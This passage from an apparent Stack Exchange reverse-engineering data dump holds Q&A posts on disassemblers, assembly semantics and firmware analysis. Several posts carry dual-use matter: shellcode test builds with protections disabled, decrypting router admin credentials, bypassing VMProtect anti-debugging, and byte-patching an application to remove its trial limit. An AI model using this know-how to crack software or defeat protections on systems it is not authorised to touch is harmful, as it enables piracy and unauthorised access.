code.c -o code&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Execution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$./code&#xA;$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26524" LastActivityDate="2020-02-10T08:35:39.413" Title="Shellcode not working correctly" Tags="|disassembly|assembly|shellcode|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23226" PostTypeId="2" ParentId="23225" CreationDate="2020-02-10T08:35:39.413" Score="5" Body="&lt;p&gt;You're showing x86 (32bit) shellcode, but are not compiling your program for that architecture, so &lt;code&gt;gcc&lt;/code&gt; most likely creates an amd64 (64bit) executable instead. This can be fixed by adding the &lt;code&gt;-m32&lt;/code&gt; switch:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc -g -Wall -fno-stack-protector -z execstack -m32 code.c -o code&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can verify this by running &lt;code&gt;file&lt;/code&gt; on the resulting file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;code: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), […]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31057" LastActivityDate="2020-02-10T08:35:39.413" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23227" PostTypeId="1" CreationDate="2020-02-10T11:57:44.797" Score="4" ViewCount="2522" Body="&lt;p&gt;I have Huawei HG8145V5 and I backed up config file which contains encrypted root and admin credentials, but I dont know how they are encrypted. Here is an example of one password&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$2*FuHXY&amp;amp;lt;y5$VJl(9f^9z%7;vR%K;84JG$.&amp;amp;amp;O`qM17$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone identify which algo is used ?&lt;/p&gt;&#xA;" OwnerUserId="3810" LastEditorUserId="3810" LastEditDate="2020-02-10T12:59:04.873" LastActivityDate="2021-09-06T07:41:50.460" Title="RE Huawei HG8145V5 user credentials" Tags="|encryption|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23228" PostTypeId="2" ParentId="23224" CreationDate="2020-02-10T13:46:04.727" Score="2" Body="&lt;p&gt;one can read a pointer value &lt;strong&gt;using * symbol&lt;/strong&gt;&lt;br&gt;&#xA;&lt;strong&gt;$$ is alias&lt;/strong&gt; for current virtual seek&lt;br&gt;&#xA;so *$$ will return the value stored at current seek&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can execute the command and pass the result to seek &#xA;like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;s `*$$`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;a simple example showing how to seek to an address stored in 3rd DWORD from current seek&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x01012d6c]&amp;gt; sentry0&#xA;[0x01012d6c]&amp;gt; x/4xw&#xA;0x01012d6c  0xfffd4be8 0x68586aff 0x01012ee8 0xff99ebe8  .K...jXh........&#xA;[0x01012d6c]&amp;gt; s `*$$+8`&#xA;[0x01012ee8]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2020-02-10T22:28:58.903" LastActivityDate="2020-02-10T22:28:58.903" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23231" PostTypeId="1" CreationDate="2020-02-11T12:35:57.970" Score="0" ViewCount="125" Body="&lt;p&gt;Edit: &lt;strong&gt;The audio data is on a separate IC&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr/&gt;&#xA;&#xA;&lt;p&gt;There are a few seconds of audio in a toy&lt;s&gt;'s 128 kB firmware&lt;/s&gt; - somewhere...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a downsampled look at the bits (white = 1):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HhEdk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HhEdk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My beginner's attempts to analyse the disassembly in order to find the audio data blocks have not been successful so far. There appear to be sections that are visually different, although it's not something very obvious. Trying the different raw audio import options in Audacity only results in &quot;noise&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am assuming a (simple?) compression scheme is in use, so maybe RLE, DPCM or even ADPCM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is that the areas that do not show the byte boundary (LSB/MSB set = white) as clearly (=higher bit frequency?) are worth a closer look. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am going to try to gather information about the audio resolution and rate by analysing the audio output, to help get an estimate of what I am looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few ideas on how to proceed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finding data (as opposed to code) from program analysis:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;use analysers showing data sections (= no instructions, not reached in program flow) - which? what limitations apply?&lt;/li&gt;&#xA;&lt;li&gt;find &lt;code&gt;const&lt;/code&gt; data (not copied to RAM at initialisation)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Finding audio data directly by:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;properties of audio data (AC signal)&lt;/li&gt;&#xA;&lt;li&gt;compare with samples of data patterns in simple audio compression&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Working with a debugger:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;it might be possible to set a data change / register write breakpoint for the peripheral that is likely to generate the audio output (Timer/PWM/DAC/DMA) and work backwards from there&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But all of these require a lot of legwork and more background knowledge than I currently have, so the outlook is rather limited..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What other approaches to finding data in firmware should I consider? &lt;/p&gt;&#xA;" OwnerUserId="31024" LastEditorUserId="31024" LastEditDate="2020-02-20T19:35:18.960" LastActivityDate="2020-02-20T19:35:18.960" Title="Approaches to detect (compressed) audio in firmware" Tags="|firmware|firmware-analysis|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23232" PostTypeId="1" AcceptedAnswerId="23234" CreationDate="2020-02-11T15:37:14.693" Score="5" ViewCount="2391" Body="&lt;p&gt;I made a simple program in C++ using Visual Studio 2019 to learn. When I open the file with Ghidra, it doesn't seem to detect my functions and I don't know what I'm doing wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My program is simple:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;&#xA;&#xA;void someFunction()&#xA;{&#xA;    printf(&quot;im scared world, i dont understand.\n&quot;);&#xA;}&#xA;&#xA;int main()&#xA;{&#xA;    std::cout &amp;lt;&amp;lt; &quot;hello world&quot; &amp;lt;&amp;lt; '\n';&#xA;&#xA;    someFunction();&#xA;&#xA;    system(&quot;pause&quot;);&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yet the main function looks like this in Ghidra:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __cdecl _main(int _Argc,char **_Argv,char **_Env)&#xA;&#xA;{&#xA;  char cVar1;&#xA;  char *unaff_EBP;&#xA;  basic_ostream&amp;lt;char,struct_std::char_traits&amp;lt;char&amp;gt;_&amp;gt; *in_stack_fffffff8;&#xA;&#xA;  cVar1 = (char)unaff_EBP;&#xA;  operator&amp;lt;&amp;lt;&amp;lt;struct_std::char_traits&amp;lt;char&amp;gt;_&amp;gt;(in_stack_fffffff8,unaff_EBP);&#xA;  operator&amp;lt;&amp;lt;&amp;lt;struct_std::char_traits&amp;lt;char&amp;gt;_&amp;gt;(in_stack_fffffff8,cVar1);&#xA;                    /* Symbol Ref: No symbol: someFunction */&#xA;  _printf(&quot;im scared world, i dont understand.\n&quot;);&#xA;  system(&quot;pause&quot;);&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, where my function should be, it instead shows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Symbol Ref: No symbol: someFunction */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why? What can I do to fix this?&lt;/p&gt;&#xA;" OwnerUserId="31070" LastActivityDate="2020-02-11T16:25:53.037" Title="Ghidra can't see basic functions in my files?" Tags="|c++|ghidra|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23233" PostTypeId="1" CreationDate="2020-02-11T15:55:40.660" Score="1" ViewCount="380" Body="&lt;p&gt;I'm trying to disassemble some Sega Master System roms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to do so, I've checked for the extra 512 bytes from old roms and once I was sure they weren't there, I proceeded to run radare2 on one of them, like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;r2 -A somerom.sms&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Radare2 correctly detects the file signature and loads it as z80 code, however when I go into visual mode, it shows the instructions as byte wide offsets (adding a lot of garbage instructions at each invalid address) but the z80 pc has 2 bytes wide steps/instructions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question would be: Is there a way to filter those extra addresses so the code can be displayed correctly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;r2 -A -b 16 somerom.sms&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it doesn't change anything.&lt;/p&gt;&#xA;" OwnerUserId="30592" LastActivityDate="2020-11-08T23:00:10.457" Title="Getting radare2 to load z80 binaries properly" Tags="|disassembly|radare2|rom|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23234" PostTypeId="2" ParentId="23232" CreationDate="2020-02-11T16:25:53.037" Score="9" Body="&lt;p&gt;Visual Studio is inlining the function.  You will need to tell VS to not do that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__declspec(noinline) void someFunction()&#xA;{&#xA;    printf(&quot;im scared world, i dont understand.\n&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30695" LastActivityDate="2020-02-11T16:25:53.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23236" PostTypeId="1" CreationDate="2020-02-11T22:37:02.180" Score="1" ViewCount="1459" Body="&lt;p&gt;I have a PE file with section vmp0 vmp1, possible protected with VMProtect.  I am using local debugger in IDA pro, the program will detect the debugger and pop-up an message box and quit , I used the break point on user32.MessageBoxW, the debugger will break, but I have hard time to find out which part of the disassembly code calling the function , would you please help me so that I can bypass what ever the program is checking.? I am struggling for a while. &lt;/p&gt;&#xA;" OwnerUserId="31075" LastActivityDate="2020-02-11T22:37:02.180" Title="Pe file Vmp0 vmp1 section," Tags="|ida|anti-debugging|patch-reversing|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23238" PostTypeId="1" CreationDate="2020-02-12T09:20:55.240" Score="1" ViewCount="26" Body="&lt;p&gt;Similar to &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/11149/locating-memory-allocation-functions-from-static-analysis&quot;&gt;this&lt;/a&gt; question, I'm interested in locating &lt;code&gt;exit&lt;/code&gt; and &lt;code&gt;abort&lt;/code&gt; style functions in a firmware - any function call that in fact terminates the execution, by statically analyzing the firmware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My firmware is &lt;code&gt;arm-cortex-M&lt;/code&gt; based. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how can I find it? &lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-02-12T09:20:55.240" Title="Locating Exit/Abort Functions from Static Analysis" Tags="|binary-analysis|static-analysis|libc|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23239" PostTypeId="1" CreationDate="2020-02-12T10:13:49.900" Score="1" ViewCount="404" Body="&lt;p&gt;I'm trying to patch a function in a Windows x86 DLL, however it turned out that I need a static variable to store some state that wasn't correctly preserved by the original executable across calls.&lt;/p&gt;&#xA;&lt;p&gt;I know that typically a static variable is stored in the &lt;code&gt;.data&lt;/code&gt; segment or in the &lt;code&gt;.bss&lt;/code&gt; segment, and the PE file headers &lt;code&gt;SizeOf(Un)InitializedData&lt;/code&gt;. However, I'm having a hard time finding out how to write the address of the added space in x86 assembly. Basically, I'm assuming that it would be something like &lt;code&gt;mov eax, dword ptr ds:[??]&lt;/code&gt;, but I don't know what &lt;code&gt;??&lt;/code&gt; I should put there.&lt;/p&gt;&#xA;&lt;p&gt;The other way around would be to hack and re-use some memory area inside &lt;code&gt;.data&lt;/code&gt; segment that hopefully isn't actually used. I tried to do this by looking at the &lt;code&gt;Memory layout&lt;/code&gt; tab in &lt;code&gt;x32dbg&lt;/code&gt; and finding the &lt;code&gt;.data&lt;/code&gt; segment address of the loaded DLL, then taking the address of somewhere near the end. This approach would work for seconds and the memory was indeed written, but the program crashes shortly afterwards due to some exception in &lt;code&gt;RtlFreeHeap()&lt;/code&gt;, which I'm also confused about because I supposed it's the &lt;code&gt;.data&lt;/code&gt; segment, not the heap.&lt;/p&gt;&#xA;&lt;p&gt;Could someone help me understand how to do this?&lt;/p&gt;&#xA;" OwnerUserId="31080" LastEditorUserId="37138" LastEditDate="2021-07-13T19:24:22.193" LastActivityDate="2021-12-10T21:01:50.187" Title="Adding a static variable to Windows DLL" Tags="|disassembly|windows|assembly|x86|pe|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23241" PostTypeId="2" ParentId="23233" CreationDate="2020-02-12T21:47:08.247" Score="1" Body="&lt;p&gt;as i commented radare2 opens an sms file without problem&#xA;if you are not using the latest version try updating radare2 &#xA;or downgrading to an older version &lt;/p&gt;&#xA;&#xA;&lt;p&gt;output below  isfrom 3.3.0 the last 32 bit version of radare2&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;radare2 -q -c &quot;aa;pd 10&quot; ak.sms&#xA;Checksum: 0x1cd0&#xA;ProductCode: 005067&#xA;Console: Sega Master System&#xA;Region: Export&#xA;RomSize: 128KB&#xA;/ (fcn) fcn.00000000 85&#xA;|   fcn.00000000 ();&#xA;|           0x00000000      f3             di&#xA;|           0x00000001      ed56           im 1&#xA;|           0x00000003      31f0df         ld sp, 0xdff0&#xA;|       ,=&amp;lt; 0x00000006      187d           jr 0x7d&#xA;        |   0x00000008      7b             ld a, e&#xA;        |   0x00000009      d3bf           out [0xbf], a&#xA;        |   0x0000000b      7a             ld a, d&#xA;        |   0x0000000c      d3bf           out [0xbf], a&#xA;        |   0x0000000e      c9             ret&#xA;        |   0x0000000f      ff             rst 0x38&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-02-12T21:47:08.247" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="23242" PostTypeId="1" CreationDate="2020-02-13T14:26:20.710" Score="2" ViewCount="356" Body="&lt;p&gt;Suppose I reverse a dll, and searching for a Function, say for instance Send(), I have reversed the ws2_32.dll now How Can i calculate the number of bytes from there to know that i need 5 bytes of instruction using say ollydbg or immunity debugger??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am very new to this and I do not want to use a disassembly library like Minhook and Microsoft Detours. Just something done manually.&lt;/p&gt;&#xA;" OwnerUserId="31093" LastActivityDate="2022-10-31T23:04:50.753" Title="How to calculate Opcode Length from Ollydbg" Tags="|assembly|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23243" PostTypeId="1" CreationDate="2020-02-13T18:51:22.847" Score="1" ViewCount="992" Body="&lt;p&gt;I have a gamepad with a Chinese ShanWan BM-729 SWQP179 22 MCU which is most likely a clone but i didn't manage to find any info on it.&#xA;The board is also lacking information like serial pins and the only, i've also tried the EEPROM which returned random characters (translated from chinese characters).&#xA;I've ran through the PCB and was not able to find any decent pins i could use to access the MCU other than a UART connection between the MCU and the bluetooth chip, so i was wondering if it would be possible to get info from the MCU through this serial pins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm posting the picture for perspective&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/T08F3.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/T08F3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30987" LastActivityDate="2021-06-04T06:15:58.843" Title="Can a secondary UART be used to access the MCU?" Tags="|firmware|hardware|embedded|serial-communication|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23244" PostTypeId="1" CreationDate="2020-02-13T23:12:00.740" Score="1" ViewCount="582" Body="&lt;p&gt;I've been working with this application to remove it's trial limitations.&#xA;But every byte I change, it throws an acces violation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Piece of the code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;003354C6 - 0F85 D3000000         - jne 0033559F&#xA;00EA54CC - FF 87 54050000        - inc [edi+00000554]&#xA;00EA54D2 - 83 BF 54050000 0A     - cmp dword ptr [edi+00000554],0A { 10 }&#xA;003354D9 - 0F82 C0000000         - jb 0033559F&#xA;003354DF - 6A 00                 - push 00 { 0 }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Patched&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;003354D2 - 83 BF 54050000 0F     - cmp dword ptr [edi+00000554],0F { 15 }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Nothing else is changed.&#xA;Now the program does run, but after ~4 seconds it crashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When running through x64dbg it catches the exception, but I don't know what to do with it.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ECrdt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ECrdt.png&quot; alt=&quot;x64dbg&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And run just normally it gives this&#xA;&lt;a href=&quot;https://i.stack.imgur.com/zkpzi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zkpzi.png&quot; alt=&quot;Windows crash report&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help, tips would be appreciated!&lt;/p&gt;&#xA;" OwnerUserId="31100" LastActivityDate="2020-02-14T23:59:18.290" Title="Patched Application causes Acces Violation c0000005" Tags="|ollydbg|x64dbg|patching|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23245" PostTypeId="1" AcceptedAnswerId="23246" CreationDate="2020-02-13T23:35:47.023" Score="2" ViewCount="1400" Body="&lt;p&gt;I've tried reading the documentation but the functionality of this instruction is still cloudy to me. For an example, I would like to know what is stored in RDX after these instructions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov    edx, 0x26d1&#xA;mov    eax, 0x40d&#xA;add    eax, edx&#xA;movsxd rdx, eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Personally, I think it is 0x0000000000002ade because I don't think the signed bit at bit position 31 was present in eax at the time. (If that makes any sense?) Any help would be appreciated and maybe an explanation that doesn't leave me confused would be awesome as well :) Thanks and have a good day!&lt;/p&gt;&#xA;" OwnerUserId="30432" LastActivityDate="2020-02-14T05:33:33.077" Title="Help understanding MOVSXD" Tags="|assembly|x86-64|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23246" PostTypeId="2" ParentId="23245" CreationDate="2020-02-14T04:55:15.527" Score="2" Body="&lt;p&gt;movsxd moves the dword by sign extending the dword into qword &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so for this example rdx will be eax+edx &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;python -c &quot;print( hex(0x26d1+0x40d))&#xA;0x2ade&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can use some emulators like unicorn&lt;br&gt;&#xA;or use a debugger and patch this instructions some place and loop&lt;br&gt;&#xA;or compile a small source as below to get an understanding&lt;br&gt;&#xA;(the code below sign extends a 16bit input  to a 32bit output )&lt;br&gt;&#xA;in your example a 32bit input is taken to output a 64bit&lt;br&gt;&#xA;there is also an 8bit input and 16 bit output&lt;br&gt;&#xA;movsxb(8in160ut),movsxw(16in320ut),movsxd (32in640ut)  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;int main(void)&#xA;{&#xA;    printf(&quot;movsxd demo\n&quot;);&#xA;    signed short edx = 0x26d1;&#xA;    signed short eax = 0x40d;&#xA;    for (int i = 0; i &amp;lt; 25; i++ ){&#xA;        edx = edx + eax;&#xA;        printf(&quot;%x\n&quot;,edx);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled and executed you can see how and when it gets sign extended&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cl /Zi /W4 /analyze /EHsc /nologo /Od movsxd.cpp /link /release&#xA;movsxd.cpp&#xA;&#xA;:\&amp;gt;movsxd.exe&#xA;movsxd demo&#xA;2ade&#xA;2eeb&#xA;32f8&#xA;3705&#xA;3b12&#xA;3f1f&#xA;432c&#xA;4739&#xA;4b46&#xA;4f53&#xA;5360&#xA;576d&#xA;5b7a&#xA;5f87&#xA;6394&#xA;67a1&#xA;6bae&#xA;6fbb&#xA;73c8&#xA;77d5&#xA;7be2&#xA;7fef&#xA;ffff83fc &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;ffff8809 &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;ffff8c16 &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;just to show a simplified disassembly i refactored the code to eliminate  superfluous print's, assignments , etc and compiled  it with full optimizations and disassembled&lt;br&gt;&#xA;code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;int main(void)&#xA;{&#xA;    signed short edx = 0x26d1;&#xA;    for (int i = 0; i &amp;lt; 25; i++ ){&#xA;        edx = edx + 0x40d;&#xA;        printf(&quot;%x\n&quot;,edx);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;disassembly see how word from si (16 bit of ESI)is sign extended to eax(32 bit)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cdb -c &quot;uf movsxd!main;q&quot; movsxd.exe |awk &quot;/Reading/,/quit/&quot;&#xA;0:000&amp;gt; cdb: Reading initial command 'uf movsxd!main;q'&#xA;movsxd!main:&#xA;01291000 56              push    esi&#xA;01291001 57              push    edi&#xA;01291002 bed1260000      mov     esi,26D1h&#xA;01291007 bf19000000      mov     edi,19h&#xA;0129100c 0f1f4000        nop     dword ptr [eax]&#xA;&#xA;movsxd!main+0x10:&#xA;01291010 81c60d040000    add     esi,40Dh&#xA;&#xA;01291016 0fbfc6          movsx   eax,si &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;when si will be  &amp;gt; 0x7fff (max signed short) eax will&#xA;get sign extended.&#xA;&#xA;01291019 50              push    eax&#xA;0129101a 6890012d01      push    offset movsxd!__xt_z+0x8 (012d0190)&#xA;0129101f e85c000000      call    movsxd!printf (01291080)&#xA;01291024 83c408          add     esp,8&#xA;01291027 83ef01          sub     edi,1&#xA;0129102a 75e4            jne     movsxd!main+0x10 (01291010)&#xA;&#xA;movsxd!main+0x2c:&#xA;0129102c 5f              pop     edi&#xA;0129102d 33c0            xor     eax,eax&#xA;0129102f 5e              pop     esi&#xA;01291030 c3              ret&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2020-02-14T05:33:33.077" LastActivityDate="2020-02-14T05:33:33.077" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23247" PostTypeId="1" AcceptedAnswerId="23251" CreationDate="2020-02-14T11:02:39.020" Score="2" ViewCount="126" Body="&lt;p&gt;Is there a tool to automatically convert binutils cpu definitions (.cpu / .opc files) to sleigh for use in Ghidra? ... or do I need to hand craft a cpu definition for Synopsys DesignWare ARC 625D?&lt;/p&gt;&#xA;" OwnerUserId="31103" LastActivityDate="2020-02-14T19:19:30.757" Title="Convert .cpu / .opc to sleigh" Tags="|ghidra|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23248" PostTypeId="2" ParentId="23242" CreationDate="2020-02-14T16:48:02.903" Score="1" Body="&lt;p&gt;In Ollydbg it shows the opcodes to the left of the instructions you are currently looking at, inside of the disassembly view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There isn't anything to calculate, its &lt;em&gt;already there&lt;/em&gt;. You can just extract that then get the length through what opcode range you are looking at.&lt;/p&gt;&#xA;" OwnerUserId="30451" LastActivityDate="2020-02-14T16:48:02.903" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23249" PostTypeId="2" ParentId="23244" CreationDate="2020-02-14T16:54:17.267" Score="0" Body="&lt;p&gt;&lt;strong&gt;This is more of a comment-answer, but as I am below 50 reputation, I can only post answers.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's something to do with the &lt;code&gt;cmp&lt;/code&gt; instruction you are byte-patching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An access violation is occuring with the &lt;code&gt;EIP&lt;/code&gt; register, which tells the computer what instruction to execute next, and controls the flow of the program. The &lt;code&gt;cmp&lt;/code&gt; you are patching is breaking, likely because the what it's returning isn't met for the &lt;code&gt;jb&lt;/code&gt; instruction to occur, hence the &lt;code&gt;EIP&lt;/code&gt; is throwing an access violation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is the &lt;code&gt;cmp&lt;/code&gt; working exactly? Have you reversed that?&lt;/p&gt;&#xA;" OwnerUserId="30451" LastActivityDate="2020-02-14T16:54:17.267" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23250" PostTypeId="2" ParentId="22994" CreationDate="2020-02-14T18:27:59.930" Score="2" Body="&lt;p&gt;One approach would be to monitor all file-system activities e.g. using &lt;a href=&quot;https://github.com/jrummyapps/inotify-android-tools&quot; rel=&quot;nofollow noreferrer&quot;&gt;inotify-tools&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run it with root permissions, checking recursively for all read/write operations in the app directory. This should allow you to identify which file is created (in case the native library is decoded/decrypted or loaded from an online source) and what files are loaded.&lt;/p&gt;&#xA;" OwnerUserId="1848" LastActivityDate="2020-02-14T18:27:59.930" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23251" PostTypeId="2" ParentId="23247" CreationDate="2020-02-14T19:19:30.757" Score="1" Body="&lt;p&gt;There was a project of using these files to &lt;a href=&quot;https://yifan.lu/2015/12/29/cgen-for-ida-pro/&quot; rel=&quot;nofollow noreferrer&quot;&gt;create a processor module for IDA&lt;/a&gt;, maybe you can reuse parts of it.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-02-14T19:19:30.757" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
